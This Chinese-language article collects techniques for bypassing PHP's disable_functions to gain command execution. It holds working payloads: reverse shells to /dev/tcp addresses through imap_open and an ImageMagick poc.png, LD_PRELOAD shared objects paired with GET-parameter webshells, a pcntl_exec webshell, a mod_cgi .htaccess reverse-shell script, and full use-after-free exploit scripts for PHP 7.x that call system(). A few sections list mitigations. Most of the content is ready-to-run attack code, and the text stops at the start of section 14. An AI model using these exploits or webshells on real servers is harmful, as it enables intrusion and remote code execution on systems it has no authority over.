目录
目录环境搭建Bypass disable_functions 1. imap_open (CVE-2018-19518) 绕过2. ImageMagick(CVE-2016-3714)绕过 3. mail()函数 5. error_log5. Imagick 结合LD_PRELOAD的另一种用法6. pcntl_exec 7. Bypass with via mod_cgi 8. bypass with via LD_PRELOAD (感觉是最强大的方法)9. COM 组件 (WINDOWS 专属)10. 终极大杀器(自动化傻瓜,只支持类unix) 蚁剑扩展 2020年7月10更新10. php7.0-7.3垃圾回收器bug,适用于*inx11. json serializer UAF ,*nix12. debug_backtrace uaf,应用于php7.0-7.4的*nix系统13. php7.4 ffi.enable=true2022年1月12日更新14. PHP 7.0-8.0 user_filter15. PHP 7.3-8.1 concat_functionReference
环境搭建
docker:https://hub.docker.com/r/boosen/lnmp/tags
版本:ubuntu 14.04 + php5.6 + mysql 5.5 + nginx1.8
sudo wget -qO- https://get.docker.com|sh
安装docker 最新版vim /etc/docker/daemon.json
写入{ "registry-mirrors": ["https://registry.docker-cn.com"] }
换源docker pull boosen/lnmp
拉取lnmp环境docker container run -d -it -p 8081:80 --name xxx boosen/lnmp
开启容器docker exec -it id /bin/bash
进入容器
Bypass disable_functions
1. imap_open (CVE-2018-19518) 绕过
1.安装imap_open 扩展
xxxxxxxxxx
711.apt-get install libc-client2007e-dev -y
22.cd php源码/ext/imap
33.phpize
44../configure --with-php-config=/usr/local/php/bin/php-config --with-imap=/usr/lib64 --with-imap-ssl --with-kerberos
55.make && make install
66.echo "extension = imap.so" >> /usr/local/php/lib/php.ini
76.service php-fpm restart
2.简单分析
根据https://lab.wallarm.com/rce-in-php-or-how-to-bypass-disable-functions-in-php-installations-6ccdbf4f52bb
和https://www.codercto.com/a/43774.html
:
- 当能够使用ssh时,imap会启动一个预认证模式,使用ssh协议进行认证,如果认证成功就不会建立一个imap连接,而是继续执行。
- 基于预认证模式,我们就可以通过ssh进行参数传递,这个参数就是mailbox,而ssh中有一个参数
-o
,这个参数可以指定连接时的参数选项,如果我们指定ssh的另一个参数ProxyCommand
,就可以通过这个参数执行命令。
3.payload构造
xxxxxxxxxx
51<?php
2$payload = "/bin/bash -i >& /dev/tcp/192.168.239.201/12345 0>&1";
3$base64 = base64_encode($payload);
4$server = "any -oProxyCommand=echo\t{$base64}|base64\t-d|bash";
5@imap_open("{".$server."}:143/imap}INBOX","","");
4.修复
- php版本符合以下可以在php.ini设置:
xxxxxxxxxx
11imap.enable_insecure_rsh "0" PHP_INI_SYSTEM Available as of PHP 7.1.25, 7.2.13 and 7.3.0. Formerly, it was implicitly enabled.
这样就可以禁止不安全的预认证
- 禁用
imap_open
函数
2. ImageMagick(CVE-2016-3714)绕过
1.环境要求
imagick 版本<=6.9.3-9
2.简单分析
根据http://www.zerokeeper.com/vul-analysis/ImageMagick-CVE-2016-3714.html
简单分析:
- Imagick是一个图形处理库,支持的语言非常多,通过这个库可以对web图片进行裁剪、翻转等操作,但是由于其对https文件处理不当,导致我们可以执行命令。
- 在
/etc/ImageMagick-6/delegates.xml
:
xxxxxxxxxx
21<delegate decode="https" command=""curl" -s -k -L -o "%o" "http
2s:%M""/>
如果对https形式的资源进行处理,导致我们可以通过命令拼接的方式command=curl -s -k -L -o "%o" "https:%M"
,通过|
、&
、`的方式进行命令的拼接,其中%M是占位符:
xxxxxxxxxx
161%a authentication passphrase
2%b image file size in bytes
3%g image geometry
4%h image rows (height)
5%i input image filename
6%# input image signature
7%m input image format
8%o output image filename
9%p page number
10%q input image depth
11%s scene number
12%u unique temporary filename
13%w image columns (width)
14%x input image x resolution
15%y input image y resolution
16
3.payload构造
vim poc.png
写入以下内容
xxxxxxxxxx
41push graphic-context
2viewbox 0 0 640 480
3fill 'url(https://example.com/1.jpg"|echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjM5LjIwMS8xMjM0NSAwPiYxCg==|base64 -d|bash")'
4pop graphic-context
- 写一个上传页面upload.php(主要是用来调用
Imagick
类的)
xxxxxxxxxx
211<!doctype html>
2<html lang="en">
3<head>
4<meta charset="UTF-8">
5<title>upload</title>
6</head>
7<body>
8<form action="" method="post" enctype="multipart/form-data">
9<input type="file" name="file">
10<input type="submit" value="submit">
11</form>
12</body>
13<?php
14$filename = $_FILES['file']['name'];
15$type = substr($filename, strrpos($filename, '.')+1);
16if ($type === "jpg" || $type === "png" || $type === "gif") {
17move_uploaded_file($_FILES['file']['tmp_name'], $filename);
18$imgObject = new Imagick($filename);
19}
20?>
21</html>
- 上传文件
3.修复方法
- 升级Imagick到6.9.3-10及以上
- 使用
policy file
来防御这个漏洞,这个文件默认位置在/etc/ImageMagick-6/policy.xml
,我们通过配置如下的 xml 来禁止解析 https 等敏感操作:
xxxxxxxxxx
51<policy domain="coder" rights="none" pattern="EPHEMERAL" />
2<policy domain="coder" rights="none" pattern="URL" />
3<policy domain="coder" rights="none" pattern="HTTPS" />
4<policy domain="coder" rights="none" pattern="MVG" />
5<policy domain="coder" rights="none" pattern="MSL" />
3. mail()函数
1. 环境要求
参考:https://xz.aliyun.com/t/3937
- cve-2014-6271(bash 破壳漏洞),不过太老了,这种 bash软件的漏洞发行版基本上痘修复了,所以不考虑
mail()、putenv()以及getenv()
可用
2. payload构造
- 生成
evil.so
,上传到/tmp/evil.so
xxxxxxxxxx
221/* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */
2
3#include <stdlib.h>
4#include <stdio.h>
5#include <string.h>
6
7void payload(char *cmd) {
8char buf[512];
9strcpy(buf, cmd);
10strcat(buf, " > /tmp/_0utput.txt");
11system(buf);
12}
13
14int geteuid() {
15char *cmd;
16if (getenv("LD_PRELOAD") == NULL) { return 0; }
17unsetenv("LD_PRELOAD");
18if ((cmd = getenv("_evilcmd")) != NULL) {
19payload(cmd);
20}
21return 1;
22}
若是没启用或者不存在/usr/bin/sendmail
这样的功能,还可以利用GCC的扩展修饰符:
若函数被设定为constructor
属性,则该函数会在main()
函数执行之前被自动的执行。类似的,若函数被设定为destructor属性,则该函数会在main()
函数执行之后或者exit()
被调用后被自动的执行,而在PHP这里执行的前提是,我们需要新启动一个进程,因为共享库不是被系统自动加载的,而是新进程要求加载的
xxxxxxxxxx
71#include <stdlib.h>
2#include <string.h>
3__attribute__((constructor))void payload() {
4unsetenv("LD_PRELOAD");
5const char* cmd = getenv("_evilcmd");
6system(cmd);
7}
- 写
shell.php
xxxxxxxxxx
151<?php
2
3$r1 = putenv("LD_PRELOAD=/tmp/evil.so");
4echo "putenv: $r1 <br>";
5
6$cmd = $_GET['cmd'];
7$r2 = putenv("_evilcmd=$cmd");
8echo "putenv: $r2 <br>";
9
10$r3 = mail("[email protected]", "", "", "");
11echo "mail: $r3 <br>";
12
13highlight_file("/tmp/_0utput.txt");
14
15?>
3. 修复方法
禁用putenv
5. error_log
1. 介绍 error_log
用来将错误消息发送到web日志或者系统文件中,但是有趣的地方在于该函数的第二个参数:message_type
,根据官方文档描述:当message_type
为1时,就会使用邮件发送消息,而使用的邮件也就是sendmail
,所以这方法就和上一个:mail
有点像了
2. payload构造
将共享库evil.so
上传到/tmp
目录
shell.php:
xxxxxxxxxx
151<?php
2
3$r1 = putenv("LD_PRELOAD=/tmp/evil.so");
4echo "putenv: $r1 <br>";
5
6$cmd = $_GET['cmd'];
7$r2 = putenv("_evilcmd=$cmd");
8echo "putenv: $r2 <br>";
9
10$r3 = error_log('test', 1);
11echo "mail: $r3 <br>";
12
13highlight_file("/tmp/_0utput.txt");
14
15?>
5. Imagick 结合LD_PRELOAD的另一种用法
1. 介绍
Imagick
在处理ffpemg
类型的文件时,会去调用外部处理程序,在对利用了Imagick
的php文件进行strace
追踪后,发现调用栈里面除了/usr/bin/php
这个php的解释器外,还调用了/bin/sh
来执行ffpemg
命令,那么我们便可以劫持/bin/sh
加载的共享对象了:
xxxxxxxxxx
71#include <stdlib.h>
2#include <string.h>
3__attribute__((constructor))void payload() {
4unsetenv("LD_PRELOAD");
5const char* cmd = getenv("_evilcmd");
6system(cmd);
7}
6. pcntl_exec
1. 环境要求 phpinfo()
中,编译带有--enable-pcntl
2. payload构造
xxxxxxxxxx
101<?php
2$cmd = @$_REQUEST[cmd];
3if(function_exists('pcntl_exec')) {
4$cmd = $cmd."&pkill -9 bash >out"; //执行完毕当前的命令。结束掉bash,方便下一次继续执行
5pcntl_exec("/bin/bash", $cmd); //可能会造成假死。因为pcntl_exec一直处于等待的状态
6highlight_file("out");
7} else {
8echo '不支持pcntl扩展';
9}
10?>
3. 修复方法
禁用pcntl_exec
7. Bypass with via mod_cgi
1. 环境要求
参考:http://0cx.cc/bypass_disabled_via_mod_cgi.jspx
apache
服务器.htaccess
文件可写mod_cgi
模块启用chmod()
没被禁用
2. payload构造
xxxxxxxxxx
361<?php
2$cmd = "/bin/bash -i >& /dev/tcp/127.0.0.1/12345 0>&1 2>&1"; //command to be executed
3$shellfile = "#!/bin/bash\n"; //using a shellscript
4$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
5$shellfile .= "$cmd"; //executing $cmd
6function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
7{
8echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
9}
10if (!isset($_GET['checked']))
11{
12@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
13header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
14}
15else
16{
17$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
18$writable = is_writable('.'); //current dir writable?
19$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
20checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
21checkEnabled("Is writable",$writable,"Yes","No");
22checkEnabled("htaccess working",$htaccess,"Yes","No");
23if(!($modcgi && $writable && $htaccess))
24{
25echo "Error. All of the above must be true for the script to work!"; //abort if not
26}
27else
28{
29checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
30checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
31checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
32checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
33echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
34}
35}
36?>
8. bypass with via LD_PRELOAD (感觉是最强大的方法)
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
已经够详细了,就不画蛇添足了
9. COM 组件 (WINDOWS 专属)
1. 环境要求
extension = php_com_dotnet.dll
- 搜索
phpinfo()
是否有com_dotnet
2. payload构造
xxxxxxxxxx
31<?php
2$wscript = new COM('wscript.shell');
3$wscript->Run("cmd.exe /c calc.exe");
3. 修复方法
禁用 COM组件:注释extension = php_com_dotnet.dll
10. 终极大杀器(自动化傻瓜,只支持类unix) 蚁剑扩展
https://github.com/AntSword-Store/as_bypass_php_disable_functions
2020年7月10更新
10. php7.0-7.3垃圾回收器bug,适用于*inx
xxxxxxxxxx
2151<?php
2
3# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
4#
5# Bug: https://bugs.php.net/bug.php?id=72530
6#
7# This exploit should work on all PHP 7.0-7.3 versions
8#
9# Author: https://github.com/mm0r1
10
11pwn("uname -a");
12
13function pwn($cmd) {
14global $abc, $helper;
15
16function str2ptr(&$str, $p = 0, $s = 8) {
17$address = 0;
18for($j = $s-1; $j >= 0; $j--) {
19$address <<= 8;
20$address |= ord($str[$p+$j]);
21}
22return $address;
23}
24
25function ptr2str($ptr, $m = 8) {
26$out = "";
27for ($i=0; $i < $m; $i++) {
28$out .= chr($ptr & 0xff);
29$ptr >>= 8;
30}
31return $out;
32}
33
34function write(&$str, $p, $v, $n = 8) {
35$i = 0;
36for($i = 0; $i < $n; $i++) {
37$str[$p + $i] = chr($v & 0xff);
38$v >>= 8;
39}
40}
41
42function leak($addr, $p = 0, $s = 8) {
43global $abc, $helper;
44write($abc, 0x68, $addr + $p - 0x10);
45$leak = strlen($helper->a);
46if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
47return $leak;
48}
49
50function parse_elf($base) {
51$e_type = leak($base, 0x10, 2);
52
53$e_phoff = leak($base, 0x20);
54$e_phentsize = leak($base, 0x36, 2);
55$e_phnum = leak($base, 0x38, 2);
56
57for($i = 0; $i < $e_phnum; $i++) {
58$header = $base + $e_phoff + $i * $e_phentsize;
59$p_type = leak($header, 0, 4);
60$p_flags = leak($header, 4, 4);
61$p_vaddr = leak($header, 0x10);
62$p_memsz = leak($header, 0x28);
63
64if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
65# handle pie
66$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
67$data_size = $p_memsz;
68} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
69$text_size = $p_memsz;
70}
71}
72
73if(!$data_addr || !$text_size || !$data_size)
74return false;
75
76return [$data_addr, $text_size, $data_size];
77}
78
79function get_basic_funcs($base, $elf) {
80list($data_addr, $text_size, $data_size) = $elf;
81for($i = 0; $i < $data_size / 8; $i++) {
82$leak = leak($data_addr, $i * 8);
83if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
84$deref = leak($leak);
85# 'constant' constant check
86if($deref != 0x746e6174736e6f63)
87continue;
88} else continue;
89
90$leak = leak($data_addr, ($i + 4) * 8);
91if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
92$deref = leak($leak);
93# 'bin2hex' constant check
94if($deref != 0x786568326e6962)
95continue;
96} else continue;
97
98return $data_addr + $i * 8;
99}
100}
101
102function get_binary_base($binary_leak) {
103$base = 0;
104$start = $binary_leak & 0xfffffffffffff000;
105for($i = 0; $i < 0x1000; $i++) {
106$addr = $start - 0x1000 * $i;
107$leak = leak($addr, 0, 7);
108if($leak == 0x10102464c457f) { # ELF header
109return $addr;
110}
111}
112}
113
114function get_system($basic_funcs) {
115$addr = $basic_funcs;
116do {
117$f_entry = leak($addr);
118$f_name = leak($f_entry, 0, 6);
119
120if($f_name == 0x6d6574737973) { # system
121return leak($addr + 8);
122}
123$addr += 0x20;
124} while($f_entry != 0);
125return false;
126}
127
128class ryat {
129var $ryat;
130var $chtg;
131
132function __destruct()
133{
134$this->chtg = $this->ryat;
135$this->ryat = 1;
136}
137}
138
139class Helper {
140public $a, $b, $c, $d;
141}
142
143if(stristr(PHP_OS, 'WIN')) {
144die('This PoC is for *nix systems only.');
145}
146
147$n_alloc = 10; # increase this value if you get segfaults
148
149$contiguous = [];
150for($i = 0; $i < $n_alloc; $i++)
151$contiguous[] = str_repeat('A', 79);
152
153$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
154$out = unserialize($poc);
155gc_collect_cycles();
156
157$v = [];
158$v[0] = ptr2str(0, 79);
159unset($v);
160$abc = $out[2][0];
161
162$helper = new Helper;
163$helper->b = function ($x) { };
164
165if(strlen($abc) == 79 || strlen($abc) == 0) {
166die("UAF failed");
167}
168
169# leaks
170$closure_handlers = str2ptr($abc, 0);
171$php_heap = str2ptr($abc, 0x58);
172$abc_addr = $php_heap - 0xc8;
173
174# fake value
175write($abc, 0x60, 2);
176write($abc, 0x70, 6);
177
178# fake reference
179write($abc, 0x10, $abc_addr + 0x60);
180write($abc, 0x18, 0xa);
181
182$closure_obj = str2ptr($abc, 0x20);
183
184$binary_leak = leak($closure_handlers, 8);
185if(!($base = get_binary_base($binary_leak))) {
186die("Couldn't determine binary base address");
187}
188
189if(!($elf = parse_elf($base))) {
190die("Couldn't parse ELF header");
191}
192
193if(!($basic_funcs = get_basic_funcs($base, $elf))) {
194die("Couldn't get basic_functions address");
195}
196
197if(!($zif_system = get_system($basic_funcs))) {
198die("Couldn't get zif_system address");
199}
200
201# fake closure object
202$fake_obj_offset = 0xd0;
203for($i = 0; $i < 0x110; $i += 8) {
204write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
205}
206
207# pwn
208write($abc, 0x20, $abc_addr + $fake_obj_offset);
209write($abc, 0xd0 + 0x38, 1, 4); # internal func type
210write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
211
212($helper->b)($cmd);
213
214exit();
215}
11. json serializer UAF ,*nix
xxxxxxxxxx
317.1 - all versions to date
27.2 < 7.2.19 (released: 30 May 2019)
37.3 < 7.3.6 (released: 30 May 2019)
xxxxxxxxxx
2531<?php
2
3$cmd = "id";
4
5$n_alloc = 10; # increase this value if you get segfaults
6
7class MySplFixedArray extends SplFixedArray {
8public static $leak;
9}
10
11class Z implements JsonSerializable {
12public function write(&$str, $p, $v, $n = 8) {
13$i = 0;
14for($i = 0; $i < $n; $i++) {
15$str[$p + $i] = chr($v & 0xff);
16$v >>= 8;
17}
18}
19
20public function str2ptr(&$str, $p = 0, $s = 8) {
21$address = 0;
22for($j = $s-1; $j >= 0; $j--) {
23$address <<= 8;
24$address |= ord($str[$p+$j]);
25}
26return $address;
27}
28
29public function ptr2str($ptr, $m = 8) {
30$out = "";
31for ($i=0; $i < $m; $i++) {
32$out .= chr($ptr & 0xff);
33$ptr >>= 8;
34}
35return $out;
36}
37
38# unable to leak ro segments
39public function leak1($addr) {
40global $spl1;
41
42$this->write($this->abc, 8, $addr - 0x10);
43return strlen(get_class($spl1));
44}
45
46# the real deal
47public function leak2($addr, $p = 0, $s = 8) {
48global $spl1, $fake_tbl_off;
49
50# fake reference zval
51$this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
52$this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
53$this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)
54
55$leak = strlen($spl1::$leak);
56if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
57
58return $leak;
59}
60
61public function parse_elf($base) {
62$e_type = $this->leak2($base, 0x10, 2);
63
64$e_phoff = $this->leak2($base, 0x20);
65$e_phentsize = $this->leak2($base, 0x36, 2);
66$e_phnum = $this->leak2($base, 0x38, 2);
67
68for($i = 0; $i < $e_phnum; $i++) {
69$header = $base + $e_phoff + $i * $e_phentsize;
70$p_type = $this->leak2($header, 0, 4);
71$p_flags = $this->leak2($header, 4, 4);
72$p_vaddr = $this->leak2($header, 0x10);
73$p_memsz = $this->leak2($header, 0x28);
74
75if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
76# handle pie
77$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
78$data_size = $p_memsz;
79} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
80$text_size = $p_memsz;
81}
82}
83
84if(!$data_addr || !$text_size || !$data_size)
85return false;
86
87return [$data_addr, $text_size, $data_size];
88}
89
90public function get_basic_funcs($base, $elf) {
91list($data_addr, $text_size, $data_size) = $elf;
92for($i = 0; $i < $data_size / 8; $i++) {
93$leak = $this->leak2($data_addr, $i * 8);
94if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
95$deref = $this->leak2($leak);
96# 'constant' constant check
97if($deref != 0x746e6174736e6f63)
98continue;
99} else continue;
100
101$leak = $this->leak2($data_addr, ($i + 4) * 8);
102if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
103$deref = $this->leak2($leak);
104# 'bin2hex' constant check
105if($deref != 0x786568326e6962)
106continue;
107} else continue;
108
109return $data_addr + $i * 8;
110}
111}
112
113public function get_binary_base($binary_leak) {
114$base = 0;
115$start = $binary_leak & 0xfffffffffffff000;
116for($i = 0; $i < 0x1000; $i++) {
117$addr = $start - 0x1000 * $i;
118$leak = $this->leak2($addr, 0, 7);
119if($leak == 0x10102464c457f) { # ELF header
120return $addr;
121}
122}
123}
124
125public function get_system($basic_funcs) {
126$addr = $basic_funcs;
127do {
128$f_entry = $this->leak2($addr);
129$f_name = $this->leak2($f_entry, 0, 6);
130
131if($f_name == 0x6d6574737973) { # system
132return $this->leak2($addr + 8);
133}
134$addr += 0x20;
135} while($f_entry != 0);
136return false;
137}
138
139public function jsonSerialize() {
140global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;
141
142$contiguous = [];
143for($i = 0; $i < $n_alloc; $i++)
144$contiguous[] = new DateInterval('PT1S');
145
146$room = [];
147for($i = 0; $i < $n_alloc; $i++)
148$room[] = new Z();
149
150$_protector = $this->ptr2str(0, 78);
151
152$this->abc = $this->ptr2str(0, 79);
153$p = new DateInterval('PT1S');
154
155unset($y[0]);
156unset($p);
157
158$protector = ".$_protector";
159
160$x = new DateInterval('PT1S');
161$x->d = 0x2000;
162$x->h = 0xdeadbeef;
163# $this->abc is now of size 0x2000
164
165if($this->str2ptr($this->abc) != 0xdeadbeef) {
166die('UAF failed.');
167}
168
169$spl1 = new MySplFixedArray();
170$spl2 = new MySplFixedArray();
171
172# some leaks
173$class_entry = $this->str2ptr($this->abc, 0x120);
174$handlers = $this->str2ptr($this->abc, 0x128);
175$php_heap = $this->str2ptr($this->abc, 0x1a8);
176$abc_addr = $php_heap - 0x218;
177
178# create a fake class_entry
179$fake_obj = $abc_addr;
180$this->write($this->abc, 0, 2); # type
181$this->write($this->abc, 0x120, $abc_addr); # fake class_entry
182
183# copy some of class_entry definition
184for($i = 0; $i < 16; $i++) {
185$this->write($this->abc, 0x10 + $i * 8,
186$this->leak1($class_entry + 0x10 + $i * 8));
187}
188
189# fake static members table
190$fake_tbl_off = 0x70 * 4 - 16;
191$this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
192$this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);
193
194# fake zval_reference
195$this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
196$this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)
197
198# look for binary base
199$binary_leak = $this->leak2($handlers + 0x10);
200if(!($base = $this->get_binary_base($binary_leak))) {
201die("Couldn't determine binary base address");
202}
203
204# parse elf header
205if(!($elf = $this->parse_elf($base))) {
206die("Couldn't parse ELF");
207}
208
209# get basic_functions address
210if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
211die("Couldn't get basic_functions address");
212}
213
214# find system entry
215if(!($zif_system = $this->get_system($basic_funcs))) {
216die("Couldn't get zif_system address");
217}
218
219# copy hashtable offsetGet bucket
220$fake_bkt_off = 0x70 * 5 - 16;
221
222$function_data = $this->str2ptr($this->abc, 0x50);
223for($i = 0; $i < 4; $i++) {
224$this->write($this->abc, $fake_bkt_off + $i * 8,
225$this->leak2($function_data + 0x40 * 4, $i * 8));
226}
227
228# create a fake bucket
229$fake_bkt_addr = $abc_addr + $fake_bkt_off;
230$this->write($this->abc, 0x50, $fake_bkt_addr);
231for($i = 0; $i < 3; $i++) {
232$this->write($this->abc, 0x58 + $i * 4, 1, 4);
233}
234
235# copy bucket zval
236$function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
237for($i = 0; $i < 12; $i++) {
238$this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8,
239$this->leak2($function_zval, $i * 8));
240}
241
242# pwn
243$this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
244$this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);
245
246$spl1->offsetGet($cmd);
247
248exit();
249}
250}
251
252$y = [new Z()];
253json_encode([&$y]);
12. debug_backtrace uaf,应用于php7.0-7.4的*nix系统
xxxxxxxxxx
2201<?php
2
3
4# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
5#
6# Bug: https://bugs.php.net/bug.php?id=76047
7# debug_backtrace() returns a reference to a variable
8# that has been destroyed, causing a UAF vulnerability.
9#
10# This exploit should work on all PHP 7.0-7.4 versions
11# released as of 30/01/2020.
12#
13
14# Author: https://github.com/mm0r1
15
16pwn($_GET['cmd']);
17
18function pwn($cmd) {
19global $abc, $helper, $backtrace;
20
21class Vuln {
22public $a;
23public function __destruct() {
24global $backtrace;
25unset($this->a);
26$backtrace = (new Exception)->getTrace(); # ;)
27if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
28$backtrace = debug_backtrace();
29}
30}
31}
32
33class Helper {
34public $a, $b, $c, $d;
35}
36
37function str2ptr(&$str, $p = 0, $s = 8) {
38$address = 0;
39for($j = $s-1; $j >= 0; $j--) {
40$address <<= 8;
41$address |= ord($str[$p+$j]);
42}
43return $address;
44}
45
46function ptr2str($ptr, $m = 8) {
47$out = "";
48for ($i=0; $i < $m; $i++) {
49$out .= chr($ptr & 0xff);
50$ptr >>= 8;
51}
52return $out;
53}
54
55function write(&$str, $p, $v, $n = 8) {
56$i = 0;
57for($i = 0; $i < $n; $i++) {
58$str[$p + $i] = chr($v & 0xff);
59$v >>= 8;
60}
61}
62
63function leak($addr, $p = 0, $s = 8) {
64global $abc, $helper;
65write($abc, 0x68, $addr + $p - 0x10);
66$leak = strlen($helper->a);
67if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
68return $leak;
69}
70
71function parse_elf($base) {
72$e_type = leak($base, 0x10, 2);
73
74$e_phoff = leak($base, 0x20);
75$e_phentsize = leak($base, 0x36, 2);
76$e_phnum = leak($base, 0x38, 2);
77
78for($i = 0; $i < $e_phnum; $i++) {
79$header = $base + $e_phoff + $i * $e_phentsize;
80$p_type = leak($header, 0, 4);
81$p_flags = leak($header, 4, 4);
82$p_vaddr = leak($header, 0x10);
83$p_memsz = leak($header, 0x28);
84
85if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
86# handle pie
87$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
88$data_size = $p_memsz;
89} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
90$text_size = $p_memsz;
91}
92}
93
94if(!$data_addr || !$text_size || !$data_size)
95return false;
96
97return [$data_addr, $text_size, $data_size];
98}
99
100function get_basic_funcs($base, $elf) {
101list($data_addr, $text_size, $data_size) = $elf;
102for($i = 0; $i < $data_size / 8; $i++) {
103$leak = leak($data_addr, $i * 8);
104if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
105$deref = leak($leak);
106# 'constant' constant check
107if($deref != 0x746e6174736e6f63)
108continue;
109} else continue;
110
111$leak = leak($data_addr, ($i + 4) * 8);
112if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
113$deref = leak($leak);
114# 'bin2hex' constant check
115if($deref != 0x786568326e6962)
116continue;
117} else continue;
118
119return $data_addr + $i * 8;
120}
121}
122
123function get_binary_base($binary_leak) {
124$base = 0;
125$start = $binary_leak & 0xfffffffffffff000;
126for($i = 0; $i < 0x1000; $i++) {
127$addr = $start - 0x1000 * $i;
128$leak = leak($addr, 0, 7);
129if($leak == 0x10102464c457f) { # ELF header
130return $addr;
131}
132}
133}
134
135function get_system($basic_funcs) {
136$addr = $basic_funcs;
137do {
138$f_entry = leak($addr);
139$f_name = leak($f_entry, 0, 6);
140
141if($f_name == 0x6d6574737973) { # system
142return leak($addr + 8);
143}
144$addr += 0x20;
145} while($f_entry != 0);
146return false;
147}
148
149function trigger_uaf($arg) {
150# str_shuffle prevents opcache string interning
151$arg = str_shuffle(str_repeat('A', 79));
152$vuln = new Vuln();
153$vuln->a = $arg;
154}
155
156if(stristr(PHP_OS, 'WIN')) {
157die('This PoC is for *nix systems only.');
158}
159
160$n_alloc = 10; # increase this value if UAF fails
161$contiguous = [];
162for($i = 0; $i < $n_alloc; $i++)
163$contiguous[] = str_shuffle(str_repeat('A', 79));
164
165trigger_uaf('x');
166$abc = $backtrace[1]['args'][0];
167
168$helper = new Helper;
169$helper->b = function ($x) { };
170
171if(strlen($abc) == 79 || strlen($abc) == 0) {
172die("UAF failed");
173}
174
175# leaks
176$closure_handlers = str2ptr($abc, 0);
177$php_heap = str2ptr($abc, 0x58);
178$abc_addr = $php_heap - 0xc8;
179
180# fake value
181write($abc, 0x60, 2);
182write($abc, 0x70, 6);
183
184# fake reference
185write($abc, 0x10, $abc_addr + 0x60);
186write($abc, 0x18, 0xa);
187
188$closure_obj = str2ptr($abc, 0x20);
189
190$binary_leak = leak($closure_handlers, 8);
191if(!($base = get_binary_base($binary_leak))) {
192die("Couldn't determine binary base address");
193}
194
195if(!($elf = parse_elf($base))) {
196die("Couldn't parse ELF header");
197}
198
199if(!($basic_funcs = get_basic_funcs($base, $elf))) {
200die("Couldn't get basic_functions address");
201}
202
203if(!($zif_system = get_system($basic_funcs))) {
204die("Couldn't get zif_system address");
205}
206
207# fake closure object
208$fake_obj_offset = 0xd0;
209for($i = 0; $i < 0x110; $i += 8) {
210write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
211}
212
213# pwn
214write($abc, 0x20, $abc_addr + $fake_obj_offset);
215write($abc, 0xd0 + 0x38, 1, 4); # internal func type
216write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
217
218($helper->b)($cmd);
219exit();
220}
13. php7.4 ffi.enable=true
无回显
xxxxxxxxxx
41<?php
2$ffi = FFI::cdef("int system(char *command);");
3$ffi->system("touch /tmp/test.txt");
4?>
2022年1月12日更新
14. PHP 7.0-8.0 user_filter
利用的是php的一个bug:https://bugs.php.net/bug.php?id=54350
影响版本:
- 5.* - exploitable with minor changes to the PoC
- 7.0 - all versions to date
- 7.1 - all versions to date
- 7.2 - all versions to date
- 7.3 - all versions to date
- 7.4 < 7.4.26
- 8.0 < 8.0.13
xxxxxxxxxx
2081<?php
